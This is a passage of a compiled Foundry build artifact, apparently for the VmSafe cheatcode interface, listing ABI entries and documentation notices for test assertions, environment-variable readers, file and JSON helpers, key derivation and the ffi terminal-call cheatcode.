"name\":\"value\",\"type\":\"bytes32\"}],\"name\":\"toString\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"input\",\"type\":\"string\"}],\"name\":\"toUppercase\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"output\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"input\",\"type\":\"string\"}],\"name\":\"trim\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"output\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string[]\",\"name\":\"commandInput\",\"type\":\"string[]\"}],\"name\":\"tryFfi\",\"outputs\":[{\"components\":[{\"internalType\":\"int32\",\"name\":\"exitCode\",\"type\":\"int32\"},{\"internalType\":\"bytes\",\"name\":\"stdout\",\"type\":\"bytes\"},{\"internalType\":\"bytes\",\"name\":\"stderr\",\"type\":\"bytes\"}],\"internalType\":\"struct VmSafe.FfiResult\",\"name\":\"result\",\"type\":\"tuple\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"unixTime\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"milliseconds\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"data\",\"type\":\"string\"}],\"name\":\"writeFile\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"writeFileBinary\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"}],\"name\":\"writeJson\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"writeJson\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"data\",\"type\":\"string\"}],\"name\":\"writeLine\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"}],\"name\":\"writeToml\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"writeToml\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"accesses(address)\":{\"notice\":\"Gets all accessed reads and write slot from a `vm.record` session, for a given address.\"},\"addr(uint256)\":{\"notice\":\"Gets the address for a given private key.\"},\"assertApproxEqAbs(int256,int256,uint256)\":{\"notice\":\"Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`.\"},\"assertApproxEqAbs(int256,int256,uint256,string)\":{\"notice\":\"Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`. Includes error message into revert string on failure.\"},\"assertApproxEqAbs(uint256,uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`.\"},\"assertApproxEqAbs(uint256,uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`. Includes error message into revert string on failure.\"},\"assertApproxEqAbsDecimal(int256,int256,uint256,uint256)\":{\"notice\":\"Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`. Formats values with decimals in failure message.\"},\"assertApproxEqAbsDecimal(int256,int256,uint256,uint256,string)\":{\"notice\":\"Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`. Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertApproxEqAbsDecimal(uint256,uint256,uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`. Formats values with decimals in failure message.\"},\"assertApproxEqAbsDecimal(uint256,uint256,uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`. Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertApproxEqRel(int256,int256,uint256)\":{\"notice\":\"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%\"},\"assertApproxEqRel(int256,int256,uint256,string)\":{\"notice\":\"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Includes error message into revert string on failure.\"},\"assertApproxEqRel(uint256,uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%\"},\"assertApproxEqRel(uint256,uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Includes error message into revert string on failure.\"},\"assertApproxEqRelDecimal(int256,int256,uint256,uint256)\":{\"notice\":\"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Formats values with decimals in failure message.\"},\"assertApproxEqRelDecimal(int256,int256,uint256,uint256,string)\":{\"notice\":\"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertApproxEqRelDecimal(uint256,uint256,uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Formats values with decimals in failure message.\"},\"assertApproxEqRelDecimal(uint256,uint256,uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertEq(address,address)\":{\"notice\":\"Asserts that two `address` values are equal.\"},\"assertEq(address,address,string)\":{\"notice\":\"Asserts that two `address` values are equal and includes error message into revert string on failure.\"},\"assertEq(address[],address[])\":{\"notice\":\"Asserts that two arrays of `address` values are equal.\"},\"assertEq(address[],address[],string)\":{\"notice\":\"Asserts that two arrays of `address` values are equal and includes error message into revert string on failure.\"},\"assertEq(bool,bool)\":{\"notice\":\"Asserts that two `bool` values are equal.\"},\"assertEq(bool,bool,string)\":{\"notice\":\"Asserts that two `bool` values are equal and includes error message into revert string on failure.\"},\"assertEq(bool[],bool[])\":{\"notice\":\"Asserts that two arrays of `bool` values are equal.\"},\"assertEq(bool[],bool[],string)\":{\"notice\":\"Asserts that two arrays of `bool` values are equal and includes error message into revert string on failure.\"},\"assertEq(bytes,bytes)\":{\"notice\":\"Asserts that two `bytes` values are equal.\"},\"assertEq(bytes,bytes,string)\":{\"notice\":\"Asserts that two `bytes` values are equal and includes error message into revert string on failure.\"},\"assertEq(bytes32,bytes32)\":{\"notice\":\"Asserts that two `bytes32` values are equal.\"},\"assertEq(bytes32,bytes32,string)\":{\"notice\":\"Asserts that two `bytes32` values are equal and includes error message into revert string on failure.\"},\"assertEq(bytes32[],bytes32[])\":{\"notice\":\"Asserts that two arrays of `bytes32` values are equal.\"},\"assertEq(bytes32[],bytes32[],string)\":{\"notice\":\"Asserts that two arrays of `bytes32` values are equal and includes error message into revert string on failure.\"},\"assertEq(bytes[],bytes[])\":{\"notice\":\"Asserts that two arrays of `bytes` values are equal.\"},\"assertEq(bytes[],bytes[],string)\":{\"notice\":\"Asserts that two arrays of `bytes` values are equal and includes error message into revert string on failure.\"},\"assertEq(int256,int256)\":{\"notice\":\"Asserts that two `int256` values are equal.\"},\"assertEq(int256,int256,string)\":{\"notice\":\"Asserts that two `int256` values are equal and includes error message into revert string on failure.\"},\"assertEq(int256[],int256[])\":{\"notice\":\"Asserts that two arrays of `int256` values are equal.\"},\"assertEq(int256[],int256[],string)\":{\"notice\":\"Asserts that two arrays of `int256` values are equal and includes error message into revert string on failure.\"},\"assertEq(string,string)\":{\"notice\":\"Asserts that two `string` values are equal.\"},\"assertEq(string,string,string)\":{\"notice\":\"Asserts that two `string` values are equal and includes error message into revert string on failure.\"},\"assertEq(string[],string[])\":{\"notice\":\"Asserts that two arrays of `string` values are equal.\"},\"assertEq(string[],string[],string)\":{\"notice\":\"Asserts that two arrays of `string` values are equal and includes error message into revert string on failure.\"},\"assertEq(uint256,uint256)\":{\"notice\":\"Asserts that two `uint256` values are equal.\"},\"assertEq(uint256,uint256,string)\":{\"notice\":\"Asserts that two `uint256` values are equal and includes error message into revert string on failure.\"},\"assertEq(uint256[],uint256[])\":{\"notice\":\"Asserts that two arrays of `uint256 values are equal.\"},\"assertEq(uint256[],uint256[],string)\":{\"notice\":\"Asserts that two arrays of `uint256` values are equal and includes error message into revert string on failure.\"},\"assertEqDecimal(int256,int256,uint256)\":{\"notice\":\"Asserts that two `int256` values are equal, formatting them with decimals in failure message.\"},\"assertEqDecimal(int256,int256,uint256,string)\":{\"notice\":\"Asserts that two `int256` values are equal, formatting them with decimals in failure message. Includes error message into revert string on failure.\"},\"assertEqDecimal(uint256,uint256,uint256)\":{\"notice\":\"Asserts that two `uint256` values are equal, formatting them with decimals in failure message.\"},\"assertEqDecimal(uint256,uint256,uint256,string)\":{\"notice\":\"Asserts that two `uint256` values are equal, formatting them with decimals in failure message. Includes error message into revert string on failure.\"},\"assertFalse(bool)\":{\"notice\":\"Asserts that the given condition is false.\"},\"assertFalse(bool,string)\":{\"notice\":\"Asserts that the given condition is false and includes error message into revert string on failure.\"},\"assertGe(int256,int256)\":{\"notice\":\"Compares two `int256` values. Expects first value to be greater than or equal to second.\"},\"assertGe(int256,int256,string)\":{\"notice\":\"Compares two `int256` values. Expects first value to be greater than or equal to second. Includes error message into revert string on failure.\"},\"assertGe(uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be greater than or equal to second.\"},\"assertGe(uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be greater than or equal to second. Includes error message into revert string on failure.\"},\"assertGeDecimal(int256,int256,uint256)\":{\"notice\":\"Compares two `int256` values. Expects first value to be greater than or equal to second. Formats values with decimals in failure message.\"},\"assertGeDecimal(int256,int256,uint256,string)\":{\"notice\":\"Compares two `int256` values. Expects first value to be greater than or equal to second. Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertGeDecimal(uint256,uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be greater than or equal to second. Formats values with decimals in failure message.\"},\"assertGeDecimal(uint256,uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be greater than or equal to second. Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertGt(int256,int256)\":{\"notice\":\"Compares two `int256` values. Expects first value to be greater than second.\"},\"assertGt(int256,int256,string)\":{\"notice\":\"Compares two `int256` values. Expects first value to be greater than second. Includes error message into revert string on failure.\"},\"assertGt(uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be greater than second.\"},\"assertGt(uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be greater than second. Includes error message into revert string on failure.\"},\"assertGtDecimal(int256,int256,uint256)\":{\"notice\":\"Compares two `int256` values. Expects first value to be greater than second. Formats values with decimals in failure message.\"},\"assertGtDecimal(int256,int256,uint256,string)\":{\"notice\":\"Compares two `int256` values. Expects first value to be greater than second. Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertGtDecimal(uint256,uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be greater than second. Formats values with decimals in failure message.\"},\"assertGtDecimal(uint256,uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be greater than second. Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertLe(int256,int256)\":{\"notice\":\"Compares two `int256` values. Expects first value to be less than or equal to second.\"},\"assertLe(int256,int256,string)\":{\"notice\":\"Compares two `int256` values. Expects first value to be less than or equal to second. Includes error message into revert string on failure.\"},\"assertLe(uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be less than or equal to second.\"},\"assertLe(uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be less than or equal to second. Includes error message into revert string on failure.\"},\"assertLeDecimal(int256,int256,uint256)\":{\"notice\":\"Compares two `int256` values. Expects first value to be less than or equal to second. Formats values with decimals in failure message.\"},\"assertLeDecimal(int256,int256,uint256,string)\":{\"notice\":\"Compares two `int256` values. Expects first value to be less than or equal to second. Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertLeDecimal(uint256,uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be less than or equal to second. Formats values with decimals in failure message.\"},\"assertLeDecimal(uint256,uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be less than or equal to second. Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertLt(int256,int256)\":{\"notice\":\"Compares two `int256` values. Expects first value to be less than second.\"},\"assertLt(int256,int256,string)\":{\"notice\":\"Compares two `int256` values. Expects first value to be less than second. Includes error message into revert string on failure.\"},\"assertLt(uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be less than second.\"},\"assertLt(uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be less than second. Includes error message into revert string on failure.\"},\"assertLtDecimal(int256,int256,uint256)\":{\"notice\":\"Compares two `int256` values. Expects first value to be less than second. Formats values with decimals in failure message.\"},\"assertLtDecimal(int256,int256,uint256,string)\":{\"notice\":\"Compares two `int256` values. Expects first value to be less than second. Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertLtDecimal(uint256,uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be less than second. Formats values with decimals in failure message.\"},\"assertLtDecimal(uint256,uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be less than second. Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertNotEq(address,address)\":{\"notice\":\"Asserts that two `address` values are not equal.\"},\"assertNotEq(address,address,string)\":{\"notice\":\"Asserts that two `address` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(address[],address[])\":{\"notice\":\"Asserts that two arrays of `address` values are not equal.\"},\"assertNotEq(address[],address[],string)\":{\"notice\":\"Asserts that two arrays of `address` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(bool,bool)\":{\"notice\":\"Asserts that two `bool` values are not equal.\"},\"assertNotEq(bool,bool,string)\":{\"notice\":\"Asserts that two `bool` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(bool[],bool[])\":{\"notice\":\"Asserts that two arrays of `bool` values are not equal.\"},\"assertNotEq(bool[],bool[],string)\":{\"notice\":\"Asserts that two arrays of `bool` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(bytes,bytes)\":{\"notice\":\"Asserts that two `bytes` values are not equal.\"},\"assertNotEq(bytes,bytes,string)\":{\"notice\":\"Asserts that two `bytes` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(bytes32,bytes32)\":{\"notice\":\"Asserts that two `bytes32` values are not equal.\"},\"assertNotEq(bytes32,bytes32,string)\":{\"notice\":\"Asserts that two `bytes32` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(bytes32[],bytes32[])\":{\"notice\":\"Asserts that two arrays of `bytes32` values are not equal.\"},\"assertNotEq(bytes32[],bytes32[],string)\":{\"notice\":\"Asserts that two arrays of `bytes32` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(bytes[],bytes[])\":{\"notice\":\"Asserts that two arrays of `bytes` values are not equal.\"},\"assertNotEq(bytes[],bytes[],string)\":{\"notice\":\"Asserts that two arrays of `bytes` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(int256,int256)\":{\"notice\":\"Asserts that two `int256` values are not equal.\"},\"assertNotEq(int256,int256,string)\":{\"notice\":\"Asserts that two `int256` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(int256[],int256[])\":{\"notice\":\"Asserts that two arrays of `int256` values are not equal.\"},\"assertNotEq(int256[],int256[],string)\":{\"notice\":\"Asserts that two arrays of `int256` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(string,string)\":{\"notice\":\"Asserts that two `string` values are not equal.\"},\"assertNotEq(string,string,string)\":{\"notice\":\"Asserts that two `string` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(string[],string[])\":{\"notice\":\"Asserts that two arrays of `string` values are not equal.\"},\"assertNotEq(string[],string[],string)\":{\"notice\":\"Asserts that two arrays of `string` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(uint256,uint256)\":{\"notice\":\"Asserts that two `uint256` values are not equal.\"},\"assertNotEq(uint256,uint256,string)\":{\"notice\":\"Asserts that two `uint256` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(uint256[],uint256[])\":{\"notice\":\"Asserts that two arrays of `uint256` values are not equal.\"},\"assertNotEq(uint256[],uint256[],string)\":{\"notice\":\"Asserts that two arrays of `uint256` values are not equal and includes error message into revert string on failure.\"},\"assertNotEqDecimal(int256,int256,uint256)\":{\"notice\":\"Asserts that two `int256` values are not equal, formatting them with decimals in failure message.\"},\"assertNotEqDecimal(int256,int256,uint256,string)\":{\"notice\":\"Asserts that two `int256` values are not equal, formatting them with decimals in failure message. Includes error message into revert string on failure.\"},\"assertNotEqDecimal(uint256,uint256,uint256)\":{\"notice\":\"Asserts that two `uint256` values are not equal, formatting them with decimals in failure message.\"},\"assertNotEqDecimal(uint256,uint256,uint256,string)\":{\"notice\":\"Asserts that two `uint256` values are not equal, formatting them with decimals in failure message. Includes error message into revert string on failure.\"},\"assertTrue(bool)\":{\"notice\":\"Asserts that the given condition is true.\"},\"assertTrue(bool,string)\":{\"notice\":\"Asserts that the given condition is true and includes error message into revert string on failure.\"},\"assume(bool)\":{\"notice\":\"If the condition is false, discard this run's fuzz inputs and generate new ones.\"},\"breakpoint(string)\":{\"notice\":\"Writes a breakpoint to jump to in the debugger.\"},\"breakpoint(string,bool)\":{\"notice\":\"Writes a conditional breakpoint to jump to in the debugger.\"},\"broadcast()\":{\"notice\":\"Using the address that calls the test contract, has the next call (at this call depth only) create a transaction that can later be signed and sent onchain.\"},\"broadcast(address)\":{\"notice\":\"Has the next call (at this call depth only) create a transaction with the address provided as the sender that can later be signed and sent onchain.\"},\"broadcast(uint256)\":{\"notice\":\"Has the next call (at this call depth only) create a transaction with the private key provided as the sender that can later be signed and sent onchain.\"},\"closeFile(string)\":{\"notice\":\"Closes file for reading, resetting the offset and allowing to read it from beginning with readLine. `path` is relative to the project root.\"},\"computeCreate2Address(bytes32,bytes32)\":{\"notice\":\"Compute the address of a contract created with CREATE2 using the default CREATE2 deployer.\"},\"computeCreate2Address(bytes32,bytes32,address)\":{\"notice\":\"Compute the address of a contract created with CREATE2 using the given CREATE2 deployer.\"},\"computeCreateAddress(address,uint256)\":{\"notice\":\"Compute the address a contract will be deployed at for a given deployer address and nonce.\"},\"copyFile(string,string)\":{\"notice\":\"Copies the contents of one file to another. This function will **overwrite** the contents of `to`. On success, the total number of bytes copied is returned and it is equal to the length of the `to` file as reported by `metadata`. Both `from` and `to` are relative to the project root.\"},\"createDir(string,bool)\":{\"notice\":\"Creates a new, empty directory at the provided path. This cheatcode will revert in the following situations, but is not limited to just these cases: - User lacks permissions to modify `path`. - A parent of the given path doesn't exist and `recursive` is false. - `path` already exists and `recursive` is false. `path` is relative to the project root.\"},\"createWallet(string)\":{\"notice\":\"Derives a private key from the name, labels the account with that name, and returns the wallet.\"},\"createWallet(uint256)\":{\"notice\":\"Generates a wallet from the private key and returns the wallet.\"},\"createWallet(uint256,string)\":{\"notice\":\"Generates a wallet from the private key, labels the account with that name, and returns the wallet.\"},\"deriveKey(string,string,uint32)\":{\"notice\":\"Derive a private key from a provided mnenomic string (or mnenomic file path) at `{derivationPath}{index}`.\"},\"deriveKey(string,string,uint32,string)\":{\"notice\":\"Derive a private key from a provided mnenomic string (or mnenomic file path) in the specified language at `{derivationPath}{index}`.\"},\"deriveKey(string,uint32)\":{\"notice\":\"Derive a private key from a provided mnenomic string (or mnenomic file path) at the derivation path `m/44'/60'/0'/0/{index}`.\"},\"deriveKey(string,uint32,string)\":{\"notice\":\"Derive a private key from a provided mnenomic string (or mnenomic file path) in the specified language at the derivation path `m/44'/60'/0'/0/{index}`.\"},\"envAddress(string)\":{\"notice\":\"Gets the environment variable `name` and parses it as `address`. Reverts if the variable was not found or could not be parsed.\"},\"envAddress(string,string)\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `address`, delimited by `delim`. Reverts if the variable was not found or could not be parsed.\"},\"envBool(string)\":{\"notice\":\"Gets the environment variable `name` and parses it as `bool`. Reverts if the variable was not found or could not be parsed.\"},\"envBool(string,string)\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `bool`, delimited by `delim`. Reverts if the variable was not found or could not be parsed.\"},\"envBytes(string)\":{\"notice\":\"Gets the environment variable `name` and parses it as `bytes`. Reverts if the variable was not found or could not be parsed.\"},\"envBytes(string,string)\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `bytes`, delimited by `delim`. Reverts if the variable was not found or could not be parsed.\"},\"envBytes32(string)\":{\"notice\":\"Gets the environment variable `name` and parses it as `bytes32`. Reverts if the variable was not found or could not be parsed.\"},\"envBytes32(string,string)\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `bytes32`, delimited by `delim`. Reverts if the variable was not found or could not be parsed.\"},\"envInt(string)\":{\"notice\":\"Gets the environment variable `name` and parses it as `int256`. Reverts if the variable was not found or could not be parsed.\"},\"envInt(string,string)\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `int256`, delimited by `delim`. Reverts if the variable was not found or could not be parsed.\"},\"envOr(string,address)\":{\"notice\":\"Gets the environment variable `name` and parses it as `address`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,bool)\":{\"notice\":\"Gets the environment variable `name` and parses it as `bool`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,bytes)\":{\"notice\":\"Gets the environment variable `name` and parses it as `bytes`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,bytes32)\":{\"notice\":\"Gets the environment variable `name` and parses it as `bytes32`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,int256)\":{\"notice\":\"Gets the environment variable `name` and parses it as `int256`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,string)\":{\"notice\":\"Gets the environment variable `name` and parses it as `string`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,string,address[])\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `address`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,string,bool[])\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `bool`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,string,bytes32[])\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `bytes32`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,string,bytes[])\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `bytes`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,string,int256[])\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `int256`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,string,string[])\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `string`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,string,uint256[])\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `uint256`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,uint256)\":{\"notice\":\"Gets the environment variable `name` and parses it as `uint256`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envString(string)\":{\"notice\":\"Gets the environment variable `name` and parses it as `string`. Reverts if the variable was not found or could not be parsed.\"},\"envString(string,string)\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `string`, delimited by `delim`. Reverts if the variable was not found or could not be parsed.\"},\"envUint(string)\":{\"notice\":\"Gets the environment variable `name` and parses it as `uint256`. Reverts if the variable was not found or could not be parsed.\"},\"envUint(string,string)\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `uint256`, delimited by `delim`. Reverts if the variable was not found or could not be parsed.\"},\"eth_getLogs(uint256,uint256,address,bytes32[])\":{\"notice\":\"Gets all the logs according to specified filter.\"},\"exists(string)\":{\"notice\":\"Returns true if the given path points to an existing entity, else returns false.\"},\"ffi(string[])\":{\"notice\":\"Performs a foreign function call via the terminal.\"},\"fsMetadata(string)\":{\"notice\":\"Given a path, query the file system to get information about a file, directory, etc.\"},\"getBlockNumber()\":{\"notice\":\"Gets the current `block.number`. You should use this instead of `block.number` if you use `vm.roll`, as `block.number` is assumed to be constant across a transaction, and as a result will get optimized out by the compiler. See https://github.com/foundry-rs/foundry/issues/6180\"},\"getBlockTimestamp()\":{\"notice\":\"Gets the current `block.timestamp`. You should use this instead of `block.timestamp` if you use `vm.warp`, as `block.timestamp` is assumed to be constant across a transaction, and as a result will get optimized out by the compiler. See https://github.com/foundry-rs/foundry/issues/6180\"},\"getCode(string)\":{\"notice\":\"Gets the creation bytecode from an artifact file. Takes in the relative path to the json file.\"},\"getDeployedCode(string)\":{\"notice\":\"Gets the deployed bytecode from an artifact file. Takes in the relative path to the json file.\"},\"getLabel(address)\":{\"notice\":\"Gets the label for the specified address.\"},\"getMappingKeyAndParentOf(address,bytes32)\":{\"notice\":\"Gets the map key and parent of a mapping at a given slot, for a given address.\"},\"getMappingLength(address,bytes32)\":{\"notice\":\"Gets the number of elements in the mapping at the given slot, for a given address.\"},\"getMappingSlotAt(address,bytes32,uint256)\":{\"notice\":\"Gets the elements at index idx of the mapping at the given slot, for a given address. The index must be less than the length of the mapping (i.e. the number of keys in the mapping).\"},\"getNonce((address,uint256,uint256,uint256))\":{\"notice\":\"Get a `Wallet`'s nonce.\"},\"getNonce(address)\":{\"notice\":\"Gets the nonce of an account.\"},\"getRecordedLogs()\":{\"notice\":\"Gets all the recorded logs.\"},\"isDir(string)\":{\"notice\":\"Returns true if the path exists on disk and is pointing at a directory, else returns false.\"},\"isFile(string)\":{\"notice\":\"Returns true if the path exists on disk and is pointing at a regular file, else returns false.\"},\"keyExists(string,string)\":{\"notice\":\"Checks if `key` exists in a JSON object `keyExists` is being deprecated in favor of `keyExistsJson`. It will be removed in future versions.\"},\"keyExistsJson(string,string)\":{\"notice\":\"Checks if `key` exists in a JSON object.\"},\"keyExistsToml(string,string)\":{\"notice\":\"Checks if `key` exists in a TOML table.\"},\"label(address,string)\":{\"notice\":\"Labels an address in call traces.\"},\"load(address,bytes32)\":{\"notice\":\"Loads a storage slot from an address.\"},\"parseAddress(string)\":{\"notice\":\"Parses the given `string` into an `address`.\"},\"parseBool(string)\":{\"notice\":\"Parses the given `string` into a `bool`.\"},\"parseBytes(string)\":{\"notice\":\"Parses the given `string` into `bytes`.\"},\"parseBytes32(string)\":{\"notice\":\"Parses the given `string` into a `bytes32`.\"},\"parseInt(string)\":{\"notice\":\"Parses the given `string` into a `int256`.\"},\"parseJson(string)\":{\"notice\":\"ABI-encodes a JSON object.\"},\"parseJson(string,string)\":{\"notice\":\"ABI-encodes a JSON object at `key`.\"},\"parseJsonAddress(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `address`.\"},\"parseJsonAddressArray(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `address[]`.\"},\"parseJsonBool(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `bool`.\"},\"parseJsonBoolArray(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `bool[]`.\"},\"parseJsonBytes(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `bytes`.\"},\"parseJsonBytes32(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `bytes32`.\"},\"parseJsonBytes32Array(string,string)\":{\"notice\":\"Parses a 